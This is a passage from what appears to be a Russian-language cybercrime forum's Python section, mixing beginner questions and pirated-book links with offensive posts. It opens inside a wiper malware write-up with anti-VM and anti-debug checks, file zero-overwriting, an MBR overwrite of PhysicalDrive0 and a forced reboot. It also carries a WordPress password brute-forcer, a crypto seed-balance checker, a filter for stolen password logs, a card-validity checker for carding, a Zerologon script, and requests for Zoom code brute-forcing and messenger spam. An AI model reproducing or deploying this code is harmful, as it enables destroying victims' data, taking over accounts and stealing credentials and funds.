f"c:/users/{os.getlogin()}/appdata/local/temp/{rand_py} /quiet InstallAllUsers=0 Include_launcher=0 PrependPath=1 Include_test=0")
os.remove(f"c:/users/{os.getlogin()}/appdata/local/temp/{rand_py}")
subprocess.run("python -m pip install --upgrade pip")
subprocess.run("python -m pip install pyinstaller psutil")
pip_list = RunPwsh("pip list")
if 'psutil' in pip_list.lower():
wait4 = os.system('msg %username% in!')
subprocess.run("msg %username% finished")
return True
The Powershell part
* AntiVm the following Function will search for VM Processes, the Malware will self delete anytime detect a VM the code can’t detect hardware based VM’s (like Hyper-V that accelerates in hardware e.g github workflow VPS)
Python:Copy to clipboard
def AntiVm():
Process = ["vmsrvc.exe" , "vmusrvc.exe", "vboxtray.exe", "vmtoolsd.exe", "df5serv.exe", "vboxservice.exe"]
for process in psutil.process_iter():
for i in Process:
if i in process.name().lower():
return CommitSuicide()
Python:Copy to clipboard
def AntiDebug():
isDebuggerPresent = windll.kernel32.IsDebuggerPresent()
if (isDebuggerPresent):
return CommitSuicide()
return False
Code:Copy to clipboard
".m2ts", ".mkv", ".mov", ".mp4", ".mpg", ".mpeg",".jpg", ".jpeg", ".png", ".tiff", ".zip", ".7z",
".tar.gz", ".tar", ".mp3", ".sh", ".c", ".cpp", ".h", ".gif", ".txt", ".jar", ".sql", ".bundle",
".sqlite3", ".html", ".php", ".log", ".bak", ".deb"
You can add More or just select specific files
Python:Copy to clipboard
def SetFiles():
for dirpath, dirs, files in os.walk(f"C:\\Users\\{os.getlogin()}\\{os.getcwd()}"):
for f in files:
path = os.path.abspath(os.path.join(dirpath, f))
if f.endswith(tuple(ext)):
with open(f, "rb") as files:
data = files.read()
files.close()
with open(f, "wb") as files:
data.write(b'\x00') # Overwrites multiple files with zero bytes
data.close()
Python:Copy to clipboard
def OverWriteMBR():
hDevice = Kernel32.CreateFileW("\\\\.\\PhysicalDrive0", 0x40000000, 0x00000001 | 0x00000002, None, 3, 0,0)
Kernel32.WriteFile(hDevice, Data, None)
Kernel32.CloseHandle(hDevice)
Create a handle to our Physical Drive hDevice = Kernel32.CreateFileW("\\\\.\\PhysicalDrive0", 0x40000000, 0x00000001 | 0x00000002, None, 3, 0,0)
For overwriting the MBR Kernel32.WriteFile(hDevice, Data = {Hexadecimal 512
bytes} and close the handle to our Physical Drive!
Kernel32.CloseHandle(hDevice)
You can defined later
Python:Copy to clipboard
Data = [];
Python:Copy to clipboard
def CommitSuicide():
file_path = os.path.abspath(__file__)
os.remove(file_path)
folder_path = os.path.dirname(file_path)
os.system("cipher /W:%s" % folder_path)
Code:Copy to clipboard
def SysDown():
# win32api.InitiateSystemShutdown(computername="",message="",timeOut=0, bForceclose=0,bRebootAfterShutdown=1)
os.system("shutdown -t 0 -r -f ") # Work Just Fine
Python:Copy to clipboard
def main():
global application_path
if getattr(sys, 'frozen', False):
"""
If the application is run as a bundle, the PyInstaller bootloader
extends the sys module by a flag frozen=True and sets the app
path into variable _MEIPASS'.
"""
application_path = sys.executable
else:
application_path = os.path.dirname(os.path.abspath(__file__))
AntiDebug()
if not IsPyExist():
return InstallPy()
if not IsAdmin():
return RunAsAdmin()
if not IsOnline():
return CommitSuicide()
if not AntiVm():
pass
SetFiles()
OverWriteMBR()
if __name__ == "__main__":
main()
SysDown()
Всем привет, может кто знает способы облегчить жирную змею ?
nuitka - пробовал билд выходит в минималке 10мб примерно
Приветствую всех Вас,форумчане.Сегодня я хотел бы поделиться историей о
том,как мне предлагали записаться на "бесплатные курсы" по нейронным сетям от
товарищей под названием "Университет искусственного интелекта(УИИ)
Вообщем увидел я таргет их курса в инсте,заведомо понимая что курсы какие
только не встречал этот инфоцыгане,я также решил поинтересоваться и этими
ребятами.
Оставил заявку,зашёл в бота и вот спустя неделю мне поступает звонок от якобы
"менеджера" компании "УИИ".Говорит о перспективах и возможностях уже по
телефону обещает большое будущее и предлагает встречу с другим менеджером
который всё подробно объяснит.Я любезно соглашаюсь,понимая что заведомо я уже
не пойду к ним,но всё же послушать интересно.
Итак,день X настали и у нас созвон в зуме.
Первым шагом конечно же была вводная часть,но уже тогда менеджер начал
расхваливать меня и говорить что ну раз вы хотябы понимание имеете и
представление о нейронке то всё,вы гений,вам нужно меньше времени на обучение.
Шаг второй. Они любезно задают вопрос есть ли у меня какие-то идеи.Я
отвечаю что есть и они говорят что раз у вас есть идея вы ее реализуете и вы
получается лучше других,ибо другие к нам вообще ни с чем приходят.Далее
толкуют о своих "крутых" проектах нейронках,не поленились даже сделать свой
лендос с их разработанными нейронками
Ссылка на их сайт:[demo.neural-university.ru](http://demo.neural-
university.ru)
Шаг третий. Тут и понеслась.Обещания о
трудоустройстве,контракт,гонорары,миллионы,США,запад ну всё,прям плати им за
обучение и иди собирай по 500к за один "несложный" проект нейронки.
В конце у нас времени уже нехватало она всё спрашивала про то,какой я тариф
хочу выбрать на обучение и говорила что цена действительна лишь 2 дня.Я грузил
вопросами по итогу время закончилось она мне на телефон набрала узнать какой
же тариф мне интересен.Я такой ну давайте вот который за 100к.Наберу вас 10-15
числа.Менеджер сказала ок я вам всю документацию скину будем держать
связь.Документации так и нет связи нет,я "очень разочарован" что не смог
оказаться мамонтом
Spoiler: Скрины с презентации
Год выпуска: 2018г.
Гарри Персиваль
](http://www.mediafire.com/file/p5pbargdkst1xxu/Python_%25D0%25BD%25D0%25B0_%25D0%25BE%25D1%2581%25D0%25BD%25D0%25BE%25D0%25B2%25D0%25B5_%25D1%2582%25D0%25B5%25D1%2581%25D1%2582%25D0%25B8%25D1%2580%25D0%25BE%25D0%25B2%25D0%25B0%25D0%25BD%25D0%25B8%25D1%258F.pdf/file)
MediaFire is a simple to use free service that lets you put all your photos, documents, music, and video in a single place so you can access them anywhere and share them everywhere.
www.mediafire.com
Описание с сайта devman:
Модуль из 9 уроков
В вакансиях для Python программистов часто требуют асинхронность. Эта
технология упрощает архитектуру ПО и позволяет создавать сложные проекты, не
теряя в скорости разработки. Асинхронность — это светлое будущее веба.
Пока мало кто умеет писать асинхронный код. На рынке труда такие программисты
в дефиците: они легко находят работу и просят больше денег. Вы можете стать
одним из них. Познакомьтесь с технологиями, освойте best-practices и дополните
своё резюме асинхронными проектами. Все что нужно включено в курс.
Полное описание курса - https://dvmn.org/modules/async-python/
![mega.nz](/proxy.php?image=https%3A%2F%2Fmega.nz%2Frich- file.png&hash=ce6c0b08146c0d238bfdc2b2470d7b21&return_error=1)
](https://mega.nz/file/3JoWHBiL#B-WMqYsRx3AjFe7BSLvvUz_KelixrR-8N0eMz9o9rx8)
mega.nz
Как можно стать сеньером за пару лет на самом зубодробительном языке?
Автор: Михаил Русаков
Название: Написание лайфхаков на Python (2021)
Как упростить жизнь с помощью Python?
Теперь, когда Вы убедились в моей компетенции, давайте перейдём к основной
теме. Вообще, программирование, как способ автоматизации рутины, я стал
использовать практически сразу. Тогда я для этого использовал ещё Java, потом
для некоторых задач подключил ещё PHP. Но когда я познакомился с Python, я
понял, насколько удобнее, быстрее и легче можно делать всё то же самое на этом
замечательном языке.
Приведу пример. Допустим, Вам надо регулярно скачивать свежее видео с YouTube в максимальном качестве на канале, на который Вы подписаны. Например, нужно Вам это по той причине, что приходится ездить по утрам на общественном транспорте, где нет стабильного Интернета, либо мобильный трафик ограничен, а скоротать дорогу за просмотром видео хочется. Как можно поступить? Вечером просто заходить на канал, смотреть есть ли свежее видео, и идти на один из многих сервисов, вставлять в их форму ссылку, скачивать, потом загружать на какую-нибудь флешку или мобильное устройство.
Какие здесь проблемы? Во-первых, нужно будет каждый вечер это делать и тратить на это время. Во-вторых, сервисы бесплатно не позволят Вам скачать в качестве выше Full HD (хотя беглый осмотр показал, что даже в Full HD есть только за деньги), то есть за 2K или 4K только отдельная платная программа. Дальше нужно ждать скачивание и после этого ещё нажимать много кнопок, чтобы перенести видеофайл на внешнее устройство.
А что, если я Вам скажу, что подобную программу на Python при наличии должных знаний можно написать буквально за 30 минут? Всего 30 минут, и Ваша программа будет автоматически запускаться в заданное время, сама проверять наличие нового видео, скачивать его в максимальном качестве и загружать на устройство. Вам останется только утром отключить устройство от компьютера и взять с собой. Всё!
Так вот мне несколько лет назад ещё приходилось создавать подобные программы на Java, и занимало это много часов. На Python же, благодаря огромному количеству модулей, это можно ускорить в несколько раз! При этом Java – это действительно серьёзный сложный язык, а Python – это язык, который осваивают даже дети.
Во времена моей юности мне приходилось изучать Turbo Pascal, как первый язык программирования. А этот язык морально и физически устарел уже тогда, но он давал фундамент для понимания программирования. Сейчас же всё гораздо лучше. Python даёт не только фундамент, как когда-то Turbo Pascal (или тот же Basic), но и отличный современный актуальный инструмент для решения самых разных повседневных задач.
Что касается примера с YouTube, то это один из бесконечного множества случаев, когда можно упростить свою жизнь, убрав из неё рутину, используя Python.
Вот ещё несколько примеров, как можно использовать Python: авторассылка писем, переименовывание тысяч файлов, поиск по содержимому файла (не по имени, а именно по содержимому), парсинг сайтов, добавление водяных знаков, распознавание речи, составление финансовых отчётов и многое-многое другое.
Я уверен, что если Вы хотя бы немного взаимодействуете с компьютером, то, наверняка, сталкиваетесь со многими монотонными однотипными задачами, которые можно автоматизировать с помощью Python.
Да, это всё замечательно, но с чего начать? Как к этому подступиться?
На мой взгляд, лучше всего учиться на конкретных примерах. Причём, поскольку
речь идёт именно об автоматизации рутины, то учиться стоит именно на
конкретных примерах, которые автоматизируют ту или иную задачу. И я рад Вам
представить свой новый Видеокурс «Написание лайфхаков на Python», который
содержит в себе целых 20 различных программ, решающих ту или иную задачу.
В курсе Вы увидите написание с нуля 20 различных проектов, каждый из которых сам по себе уже полезен, но, помимо этого, Вы получите навык, необходимый для написания своих собственных программ. Ниже содержится краткое описание каждой программы, создание которой Вы увидите в курсе. Все эти программы разбиты по соответствующим темам.
**СОДЕРЖАНИЕ КУРСА:
Упражнения**
Я уже писал выше, что моя цель не просто дать Вам все эти программы, которые
сами по себе уже полезны. Моя задача научить Вас создавать подобные (и не
очень подобные) программы на Python самостоятельно! Так как задачи, пусть
зачастую и в незначительной степени, но всё же уникальны в каждом отдельном
случае. И очень важно Вам научиться писать программы самостоятельно. Примеры
из курса Вам в этом отлично помогут, но нужно параллельно пытаться писать код
самому. Но что писать? Где брать идеи для заданий? Что слишком сложно, а что
вполне по силам?
Все эти вопросы я уже разрешил за Вас. В курсе Вас ждёт большое количество
упражнений для практики, в рамках которых Вы будете создавать собственные
небольшие, но очень полезные, скрипты.
Примеры + Практика = Отличное освоение материала!
Итого
Подведём итоги того, что Вы получаете, приобретя курс «Написание лайфхаков на
Python»:
Подробнее:
https://srs.myrusakov.ru/pythonlife
Скачать:
You must have at least 10 reaction(s) to view the content.
Hey guys, as i find a lot of potential in this beautiful market/forum, posting a code i did yesterday to extract wallets from your metamask seeds and check it for balance, save results of wallet + seed + balance in output format. Will be posting other creations of mine in the near future.
All you have to do is
1. Register an account on etherscan.io , activate it
by email, log in to your etherscan account, go to API Keys, generate your key
and replace "YOUR_ETHER_API_KEY" with your actual key
2. Place your seeds into seedd.txt where the
seedchecker.py is located, create good.txt or
simply replace path and name of your seed and result files at the end of the
checkseed.py
3. Run: python checkseed.py
When script will finish checking, results will be saved in good.txt ( or w/e file you specify for output )
Don't forget to install requirements with pip
pip install requests
pip install eth-account
Get the code: https://pastebin.com/9TAHSjnW
Здравствуйте, хотел поинтересоваться стоит начинать учиться с питона или же начать стоит с чего нибудь по легче ? Базы 0, плюс очень большой нюанс, что в данный момент можно его осваивать только в теории. Нормальной практики не будет ещё год. Начать думаю с книги Лутца изучаем питон.
Справочник PYTHON. Кратко, быстро, под рукой
Кольцов Д.М., Дубовик Е.В.
2021
Данный справочник содержит всю ключевую информацию о Python в удобной и наглядной форме. Структура справочника позволяет быстро и удобно находить нужную информацию, получать примеры использования тех или иных элементов и конструкций Python.
Отдельное внимание уделено таким темам, как регулярные выражения, кортежи, итераторы и генераторы, ООП на Python. Справочник будет полезен всем, кто использует или изучает Python: от начинающих до профессионалов.
1. Изучаем Pyhon. Марк Луц 2 тома
2. Програмирование на Python 2 тома
3. Pyhon Подробный справочник
](https://drive.google.com/drive/folders/1YfuCkAvLfCXc- gzujzEkSpOIzau7gRKc?usp=sharing)
drive.google.com
Добрый день.
Подготовил для вас инструмент для чека логов или кукисов на ключевые слова.
Т.е. если в логе паролей этих паролей 500 шт., а вам нужны только определенные
банки или платежки(чтобы не терять время попусту) - скрипт покажет их
наличие(если они есть в логе).
Скачивайте архив, в нем три файла:
1. питоновский с кодом,
2. list_kw - ваши ключевые слова, и
3. passwords.txt - это у нас для примера взят реальный пассфайл из логов,
вместо него вы будете юзать пассфайл вашего лога.
Сперва определимся, что вы ищите.
Заполните list_kw.txt ключевыми словами. Каждое ключевое слово с новой
строки. Как показано на скрине:
-----------------------------------------------------------------------------------------------------------------
С помощью команды cd имя_папки. Перехожу в директорию с программой и выполняю
скрипт.
**Готово. Вы видите в терминале, что и как часто у вас встречается в логе или
кукисах.
Ничто не уйдет от вашего внимания.**
Как работает программа? Так.
Python:Copy to clipboard
with open('list_kw.txt', 'r') as f: #Открываем файл с ключевыми словами
list_kw = f.read().splitlines() #Делаем из строк с ключевыми словами список с ключевыми словами
for key_word in list_kw: #Цикл. Берем первое ключевое слово из списка
with open('passwords.txt') as f2: #Открываем файл passwords.txt
lines = f2.readlines() #Читаем файл построчно
for line in lines: #Цикл. Берем первую строку в файле passwords.txt
if key_word in line: #Условие. Если в этой строке есть наше первое слово,
print(key_word) #то печатаем это слово.
#Последний цикл читает все строки в passwords.txt и проверяет их на наличия первого ключевого слова. Как только с первым ключевым словом закончено, берется второе ключевое слово, и также проверяется его наличие в каждой строке документа passwords.txt
Простой Python. Современный стиль программирования. 2-е изд
Год издания: 2021
Автор: Любанович Билл
Издательство: Питер
ISBN: 978-5-4461-1639-3
Язык: Русский
Формат: PDF
Качество: Издательский макет или текст (eBook)
Количество страниц: 592
**Download
**
За последнее десятилетие технологии сильно изменились. Данные стали хитом, облака — вездесущими, и всем организациям понадобилась автоматизация. В ходе таких преобразований Python оказался одним из самых популярных языков программирования. Это практическое руководство научит вас использовать Python для повседневных задач администрирования Linux с помощью наиболее удобных утилит DevOps, включая Docker, Kubernetes и Terraform.
](https://cloud.mail.ru/public/Z9bW/ya81yd95w)
Вам открыли доступ к файлу. Отправлено с помощью Облако Mail
cloud.mail.ru
Здравствуйте, нужен совет по написанию брутфорса для кода администратора в
Zoom. Есть и web и обычная версия, не знаю как в web, но в обычной нет лимита
для попыток, и работает немного быстрее чем веб, поэтому желательно писать под
обычную.
В общем, код состоит из 6 цифр (000000 - 999999), пробовал используя pyautogui
перебирать все, но так как приложению нужно время для проверки кода, это
занимает слишком много времени, примерно 2 попытки в секунду. Возможно ли
ускорить такой брут, и если да, то ,пожалуйста, подскажите как
Заранее спасибо!
Привет всем коллеги, пишу бота магазин, хочу полностью его автоматизировать,
что сам выдавал после оплаты человеку товар, до конца не могу понять как с
сервером работать, у кого был опыт в таком? буду очень благодарен , обмен
опыта приветствуется .
Спасибо
Spoiler: продажник
НЕ РЕКЛАМА
Учимся строить сайты и веб-сервисы под присмотром опытных товарищей
![dvmn.org](/proxy.php?image=https%3A%2F%2Fstorage.yandexcloud.net%2Fdvmn-lms- main%2Fstatic%2Ffavicon.39a6050e68a2.png&hash=197a273d801e541329d0e61026cf8d93&return_error=1) dvmn.org
Интересуют следующие курсы:
Вёрстка для питониста
API веб-сервисов
Продвинутая вёрстка в Django
Есть(Если надо кому, закину в облако):
Чат-боты на Python
Асинхронный Python
You must have at least 5 message(s) to view the content.
Скрипт наполовину сухой, требует доработки, но работает.
Python:Copy to clipboard
from requests import Session
from threading import Thread
from colorama import Fore
class Brute:
def __init__(self, password, user, url):
self.url = url
self.user = user
self.passwords = password
self.session = Session()
self.response = self.session.get(self.url)
if self.response.status_code == 200:
print(Fore.GREEN + 'SUCCESSFUL CONNECTION' + Fore.RESET)
self.pass_list()
print(Fore.GREEN + 'START' + Fore.RESET)
thread2 = Thread(target=self.request)
thread2.start()
else:
print('Bad')
def pass_list(self):
self.arr = []
if '.txt' in self.passwords:
with open(self.passwords, 'r') as f:
self.arr = [i.rstrip() for i in f]
for i in range(len(self.arr)):
try:
self.arr.remove('')
i += 1
except:
i += 1
else:
self.arr.append(self.passwords)
def request(self):
self.post = {'log': self.user,
'pwd': '',
'wp-submit': 'Войти',
'redirect_to': 'wp-admin/',
'testcookie': '1'
}
if len(self.arr) > 1:
for i in range(len(self.arr)):
self.post['pwd'] = self.arr[i]
self.r = self.session.post(self.url, self.post)
if 'login_error' in self.r.text:
print(self.arr[i] + Fore.RED + ': incorrect' + Fore.RESET)
else:
print(self.arr[i] + Fore.GREEN + ': correct' + Fore.RESET)
break
elif len(self.arr) == 1:
self.post['pwd'] = self.arr[0]
self.r = self.session.post(self.url, self.post)
if 'login_error' in self.r.text:
print(self.arr[0] + Fore.RED + ': incorrect' + Fore.RESET)
else:
print(self.arr[0] + Fore.GREEN + ': correct' + Fore.RESET)
if __name__ == '__main__':
url = input('URL: ')
user = input('Username: ')
password = input('Password or list: ')
Brute(password, user, url)
Подскажите, есть какое готовое решение как libphonenumber от гугла, чтобы при
вставке txt с номерами дописывал на выходе :
phone,region\oblast\sity,operator
желательно решение офлайн, с базами от дадата или россвязь
libphonenumber номера регионов россии выдает только в общем формате:
по маске 7:
по маске 79:
79|Europe/Moscow
необязательно, чтобы это был python.
P.S. uname -a:
Linux pk 5.10.0-kali7-amd64 #1 SMP Debian 5.10.28-1kali1 (2021-04-12) x86_64
GNU/Linux
P.S2.
c https://xinit.ru/group_def/ выдает нормально, но как запросы к нему с
консоли делать разобраться не смог, когда номеров 50k вставляешь, тупит
жестко, более за один проход не ест, да и когда номеров 1кк, жесть как долго
все...
В какую документацию смотреть? где искать? Может у кого-то есть готовый скрипт?
Имеем файл вида ip/ip:port https://x.x.x.x:x, при этом вылетает Warning:
Potential Security Risk Ahead, то есть напрямую на страницу не зайти, пока не
обдумаешь что готов.
Нужно отчекать на наличие элемента страницы (картинка), содеражащие данный
лого, которые должны выйти в good.txt
Приветик котаны)
Давайте сразу начнем с того, что я никогда не позиционировал себя кодером и
посему, если есть претензии к коду - вперед переделай и покажи как надо в
коммкнтарии.
С чего все началось? Как всегда с обычного вопроса в поисках чекера СС.
В очередной раз посмотрев любимый русский сериал про любовь решил сделать простенький скрипт для проверки того самого СС.
Первое, что надо сделать это пойти и взять с вики алгоритм луна для проверки на валид карты. Там же есть и example на питоне поэтому ctrl+c, ctrl+v
Python:Copy to clipboard
from functools import reduce
def luhn(code):
# Предварительно рассчитанные результаты умножения на 2 с вычетом 9 для больших цифр
# Номер индекса равен числу, над которым проводится операция
LOOKUP = (0, 2, 4, 6, 8, 1, 3, 5, 7, 9)
code = reduce(str.__add__, filter(str.isdigit, code))
evens = sum(int(i) for i in code[-1::-2])
odds = sum(LOOKUP[int(i)] for i in code[-2::-2])
return ((evens + odds) % 10 == 0)
Проверили? отлично! Теперь надо проверить к какому банку относится карта. Идем
в гуголь находим замечательную
ссылку и составляем
регулярку...
так... стоп... лень( идем на гитхаб и качаем сорцы стилера на
шарпее.
Просто копипастим оттуда названия и регулярки.
Python:Copy to clipboard
dig = {
'Amex Card' : '^3[47][0-9]{13}$',
'BCGlobal' : '^(6541|6556)[0-9]{12}$',
'Carte Blanche Card' : '^389[0-9]{11}$',
'Diners Club Card' : '^3(?:0[0-5]|[68][0-9])[0-9]{11}$',
'Discover Card' : '6(?:011|5[0-9]{2})[0-9]{12}$',
'Insta Payment Card' : '^63[7-9][0-9]{13}$',
'JCB Card' : '^(?:2131|1800|35\\d{3})\\d{11}$',
'KoreanLocalCard' : '^9[0-9]{15}$',
'Laser Card' : '^(6304|6706|6709|6771)[0-9]{12,15}$',
'Maestro Card' : '^(5018|5020|5038|6304|6759|6761|6763)[0-9]{8,15}$',
'Mastercard' : '5[1-5][0-9]{14}$',
'Solo Card' : '^(6334|6767)[0-9]{12}|(6334|6767)[0-9]{14}|(6334|6767)[0-9]{15}$',
'Switch Card' : '^(4903|4905|4911|4936|6333|6759)[0-9]{12}|(4903|4905|4911|4936|6333|6759)[0-9]{14}|(4903|4905|4911|4936|6333|6759)[0-9]{15}|564182[0-9]{10}|564182[0-9]{12}|564182[0-9]{13}|633110[0-9]{10}|633110[0-9]{12}|633110[0-9]{13}$',
'Union Pay Card' : '^(62[0-9]{14,17})$',
'Visa Card' : '4[0-9]{12}(?:[0-9]{3})?$',
'Visa Master Card' : '^(?:4[0-9]{12}(?:[0-9]{3})?|5[1-5][0-9]{14})$',
'Express Card' : '3[47][0-9]{13}$'
}
Ну вот почти все готово. Осталось просто перечислить регулярки и если совпадает то вывести к какому банку это всё дело принадлежит.
Python:Copy to clipboard
code = '4561 2612 1234 5467'
codeFormatter = re.sub(' ', '', code.strip())
if luhn(code):
for regex in dig:
if re.search(dig[regex], codeFormatter):
print(f'{code} - {regex}')
break
Готово. Теперь у нас есть полноценный код с проверкой на валид СС и проверкой к какому банку он принадлежит.
Spoiler: Example full
Python:Copy to clipboard
import re
cardNo = '4561 2612 1234 5467'
code = ''.join(filter(str.isdigit, cardNo))
dig = {
'Amex Card' : '^3[47][0-9]{13}$',
'BCGlobal' : '^(6541|6556)[0-9]{12}$',
'Carte Blanche Card' : '^389[0-9]{11}$',
'Diners Club Card' : '^3(?:0[0-5]|[68][0-9])[0-9]{11}$',
'Discover Card' : '6(?:011|5[0-9]{2})[0-9]{12}$',
'Insta Payment Card' : '^63[7-9][0-9]{13}$',
'JCB Card' : '^(?:2131|1800|35\\d{3})\\d{11}$',
'KoreanLocalCard' : '^9[0-9]{15}$',
'Laser Card' : '^(6304|6706|6709|6771)[0-9]{12,15}$',
'Maestro Card' : '^(5018|5020|5038|6304|6759|6761|6763)[0-9]{8,15}$',
'Mastercard' : '5[1-5][0-9]{14}$',
'Solo Card' : '^(6334|6767)[0-9]{12}|(6334|6767)[0-9]{14}|(6334|6767)[0-9]{15}$',
'Switch Card' : '^(4903|4905|4911|4936|6333|6759)[0-9]{12}|(4903|4905|4911|4936|6333|6759)[0-9]{14}|(4903|4905|4911|4936|6333|6759)[0-9]{15}|564182[0-9]{10}|564182[0-9]{12}|564182[0-9]{13}|633110[0-9]{10}|633110[0-9]{12}|633110[0-9]{13}$',
'Union Pay Card' : '^(62[0-9]{14,17})$',
'Visa Card' : '4[0-9]{12}(?:[0-9]{3})?$',
'Visa Master Card' : '^(?:4[0-9]{12}(?:[0-9]{3})?|5[1-5][0-9]{14})$',
'Express Card' : '3[47][0-9]{13}$'
}
def luhn(code):
LOOKUP = (0, 2, 4, 6, 8, 1, 3, 5, 7, 9)
evens = sum(int(i) for i in code[-1::-2])
odds = sum(LOOKUP[int(i)] for i in code[-2::-2])
return ((evens + odds) % 10 == 0)
if luhn(code):
for regex in dig:
if re.search(dig[regex], code):
print(f'{code} - {regex}')
break
Ссылки:
](https://ru.wikipedia.org/wiki/%D0%90%D0%BB%D0%B3%D0%BE%D1%80%D0%B8%D1%82%D0%BC_%D0%9B%D1%83%D0%BD%D0%B0#Python)
ru.wikipedia.org
](https://en.wikipedia.org/wiki/Payment_card_number)
en.wikipedia.org
CodeRoad ](https://coderoad.ru/72768/%D0%9A%D0%B0%D0%BA-%D0%BE%D0%BF%D1%80%D0%B5%D0%B4%D0%B5%D0%BB%D0%B8%D1%82%D1%8C-%D1%82%D0%B8%D0%BF-%D0%BA%D1%80%D0%B5%D0%B4%D0%B8%D1%82%D0%BD%D0%BE%D0%B9-%D0%BA%D0%B0%D1%80%D1%82%D1%8B-%D0%BF%D0%BE-%D0%BD%D0%BE%D0%BC%D0%B5%D1%80%D1%83)
Номер кредитной/дебетовой карты называется ПАН , или Номер первичного счета . Первые шесть цифр PAN берутся из ИН , или Идентификационного номера выдачи , принадлежащего выдавшему банку (ИН ранее...
coderoad.ru
Есть ли у кого исходники хотя бы простого агрегатора rss или лент соц сетей.
Или кто может найти, я мало знаю о хороших форумах, ресурсах. Очень нужен
Желательно на Python (aiogram)
A Python script that uses the Impacket library to test vulnerability for the Zerologon exploit (CVE-2020-1472).
It attempts to perform the Netlogon authentication bypass. The script will immediately terminate when successfully performing the bypass, and not perform any Netlogon operations. When a domain controller is patched, the detection script will give up after sending 2000 pairs of RPC calls and conclude the target is not vulnerable (with a false negative chance of 0.04%).
You must have at least 1 reaction(s) to view the content.
Скажу сразу , в программировании - новичок , пишу где-то 2 месяца.
Где-то месяц назад начал писать бота в телеграм на языке Python, пишу на библиотеке телебот. Практически все сделал, осталось доделать корзину, но не понимаю как осуществить затеянное, снизу приложу примерную схему работы корзины(заранее извиняюсь за свой корявый почерк)
p.s. Если у кого-то есть подобный код который соответсвует моему описанию,
буду рад принять или кто не поленится написать , буду очень признателен(сроки
поджимают).
Снизу оставлю примерную логику работы корзины(спасибо
заранее)
Всех приветствую!
Хотел бы поднять тему по поводу разработки спам сервиса в популярных мессенджерах.
В настоящий момент я уже реализовал модуль спама в телеге через telethon.
На протяжении нескольких суток я пытаюсь придумать реализацию спама, под WA, в
целом вариант решения через selenium я пробовал, но я все еще в надежде найти
альтернативный вариант.
Аналогичная ситуация с Viber, только с ним все еще хуже... selenium уже не
поможет, а через public api - не вариант, так как это уже бот, а спамить я бы
хотел не в ЛС, а в группах.
Собственно я хотел бы попросить помощи, хотя бы советами в следующих вопросах:
P.S. Не кидайтесь тряпками, пожалуйста.
P.P.S. Приношу свои извинения, если не в том месте создал тему.
Прочитав всю документацию, я так и не узнал, как импортировать плагин. Кто-то более опытный может указать мне, как это сделать?
Всем привет! Учусь программированию на питон по книге "Изучаем Python" Эрик
Мэтиз 3-е издание. Сейчас на проекте 1, создание игры.
Проблема в том, что корабль не перемещается влево, при нажатии стрелки влево.
Вправо, работает. Заранее спасибо, кто откликнется на помощь. Застрял на
месте(((
Code:Copy to clipboard
Модуль alien_invasion.py
import sys
import pygame
from settings import Settings
from ship import Ship
class AlienInvasion:
#Класс для управления ресурсами и поведением корабля
def __init__(self):
pygame.init()
self.settings = Settings()
self.screen = pygame.display.set_mode(
(self.settings.screen_width, self.settings.screen_height))
pygame.display.set_caption("Моя первая игра Alien Invasion")
self.ship = Ship(self)
def run_game(self):
#Запуск основного цикла игры
while True:
self._chek_events()
self.ship.update()
self._update_screen()
def _chek_events(self):
'''обрабатывается нажитие клавиш'''
for event in pygame.event.get():
if event.type == pygame.QUIT:
sys.exit()
elif event.type == pygame.KEYDOWN:
if event.key == pygame.K_RIGHT:
self.ship.moving_right = True
elif event.type == pygame.K_LEFT:
self.ship.moving_left = True
elif event.type == pygame.KEYUP:
if event.key == pygame.K_RIGHT:
self.ship.moving_right = False
elif event.type == pygame.K_LEFT:
self.ship.moving_left = False
def _update_screen(self):
# При каждом проходе цикла перерисовывается экран.
self.screen.fill(self.settings.bg_color)
self.ship.blitme()
# отображение последнего прорисованного экрана
pygame.display.flip()
if __name__ == '__main__':
# создание экземпляра и запуск игры
ai = AlienInvasion()
ai.run_game()
Модуль ship.py
import pygame
class Ship():
'''Класс для управления кораблем'''
def __init__(self, ai_game):
'''инициализируем корабль и задает его начальную позицию'''
self.screen = ai_game.screen
self.screen_rect = ai_game.screen.get_rect()
# загружает изображение корабля и получает прямоугольник
self.image = pygame.image.load('ship.jpg')
self.rect = self.image.get_rect()
# каждый новый корабль появляется у нижнего края
self.rect.midbottom = self.screen_rect.midbottom
# флаг перемещения
self.moving_right = False
self.moving_left = False
def update(self):
'''обновляет позицию корабля с учетом флага.'''
if self.moving_right:
self.rect.x += 1
if self.moving_left:
self.rect.x -= 1
def blitme(self):
'''Рисует корябль в текущей позиции'''
self.screen.blit(self.image, self.rect)
Модуль settings.py
class Settings():
'''класс для хранения всех настроек игры Alien Invasion'''
def __init__(self):
'''инициализирует настройки игры'''
# параметры экрана
self.screen_width = 1200
self.screen_height = 800
self.bg_color = (230, 230, 230)
Начал читать Марка Лутца, но не могу понять как поменять нынешнею версию питона (3.9.1) на 3.3.x. в visual studio code. Пробовал Python: Select Interpreter, но там показывает только 3.9.1 64. Я скачал версию 3.3.3, но как ее теперь сделать дефолтной? Использую Manjaro Linux.
Написал простую звонилку на Python
Обзванивает 1000 номеров за 2 часа и 20 минут.
Может кому пригодиться
Python:Copy to clipboard
# _*_ coding: utf-8 _*_
import os
import time
import serial
from queue import *
from threading import Thread
base = "phonebase.txt"
result_temp = "Result"
thread_count = 1
port = input('Введите адрес порта: ')
print('<<<****>>> Проверяю соединение с модемом <<<****>>>\n')
phone = serial.Serial(port, 115200, timeout=5)
time.sleep(1)
print('Модем успешно подключен\n')
time.sleep(1)
print('Приступаю к выполнению обзвона базы\n')
def callphone(phonebase):
try:
time.sleep(1.5)
phone.write(b'ATZ\r\n') # Команда для заводских настроек
time.sleep(1)
phone.write(b'ATD' + phonebase.encode() + b';\r\n') # Команда для набора номера
time.sleep(5.5)
call_reset = phone.write(b'AT+CHUP\r\n') # Сброс звонка после заданного тайм аута
time.sleep(0.2)
if call_reset > 0:
i = "Good"
return [True, i]
except:
return False, None
return False, None
def run(queue, result_queue):
# Цикл продолжается пока очередь задач не станет пустой
while not queue.empty():
# получаем первую задачу из очереди
phonebase = queue.get_nowait()
# проверяем статус звонка
status = callphone(phonebase)
# сохраняем результат для дальнейшей обработки
result_queue.put_nowait((status, phonebase))
# сообщаем о выполнении полученной задачи
queue.task_done()
print('{} finished result = {}'.format(phonebase, status))
def main():
start_time = time.time()
# Для получения задач и выдачи результата используем очереди
queue = Queue()
result_queue = Queue()
fr_success = os.path.join(result_temp, "good.txt")
fr_errors = os.path.join(result_temp, "error.txt")
# Сначала загружаем все номера
with open(base) as f:
for line in f:
queue.put(line.strip())
# Затем запускаем необходимое количество потоков
for i in range(thread_count):
